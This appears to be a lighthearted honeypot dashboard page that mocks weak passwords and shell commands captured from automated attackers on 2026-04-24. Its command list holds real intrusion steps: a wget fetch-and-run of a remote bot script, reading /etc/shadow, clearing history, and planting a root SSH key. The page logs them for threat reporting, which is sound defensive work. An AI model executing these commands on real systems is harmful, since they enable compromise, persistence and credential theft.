All time 🤣 hall of shame

Attacker Comedy Corner

Real passwords and commands attempted by automated scanners and script kiddies. Every entry below is a genuine attempt captured by the honeypot. No fiction.

8 Unique Funny Passwords

8 Total Attempts

6 Noteworthy Commands

1 Days with Comedy Data

🔑 PASSWORD HALL OF SHAME

#1 123456789 🔢 Numbers Only

#2 iloveyou 💕 Romantic

#3 letmein 🙏 Polite

#4 admin1234 📦 Default Creds

#5 qwerty123 ⌨️ Keyboard Walk

#6 fuckyou 🤬 Angry

#7 opensesame 🙏 Polite

#8 password1 🤬 Angry

💻 COMMANDS THEY ACTUALLY RAN

Run against a fake shell. The attacker thought they were in. They were not.

#1 busybox wget http://194.165.16.78/bot.sh -O /tmp/.x && chmod +x /tmp/.x && /tmp/.x

#2 cat /etc/shadow

#3 history -c

#4 chmod 777 /tmp/.x

#5 echo AAAA >> /root/.ssh/authorized_keys

#6 python3 -c import pty;pty.spawn(/bin/bash)

📅 COMEDY BY DAY

2026-04-24 8 passwords · 6 commands →

All data is real. IPs have been reported to AbuseIPDB, Blocklist.de, SANS DShield, and AlienVault OTX. The attackers remain unaware they were in a fake shell powered by a Raspberry Pi 5.